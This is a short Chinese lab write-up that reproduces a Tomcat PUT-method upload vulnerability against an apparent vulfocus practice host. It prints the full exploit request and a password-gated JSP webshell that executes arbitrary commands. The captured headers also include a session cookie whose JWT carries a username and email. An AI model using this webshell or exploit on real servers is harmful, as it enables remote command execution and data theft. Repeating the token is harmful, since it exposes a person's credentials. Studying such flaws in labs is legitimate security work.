介绍
Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
复现过程
访问根路径
burp抓包
修改第一行为PUT和增加POST请求体,修改后为
PUT /shell.jsp/ HTTP/1.1
Host: vulfocus.fofa.so:52815
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1640763811,1640775017,1640775045,1640921749; Hm_lvt_deaeca6802357287fb453f342ce28dda=1640681447,1641044574,1641123950,1641176861; ECS[visit_times]=4; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1641213978; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0MjEzLCJ1c2VybmFtZSI6IjAweW9uZ3NoaXdhbmd6aSIsImV4cCI6MTY0MTI2MzI2NCwiZW1haWwiOiIxMDcwMDg2ODgyQHFxLmNvbSJ9.aU-yjS3J_EqTEhZx8ZOSQ6SPxgSemy8XAqnFgtwX59Y
Upgrade-Insecure-Requests: 1
Content-Length: 421
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
直接访问shell.jsp文件。同时GET传递pwd(123),和cmd,漏洞复现成功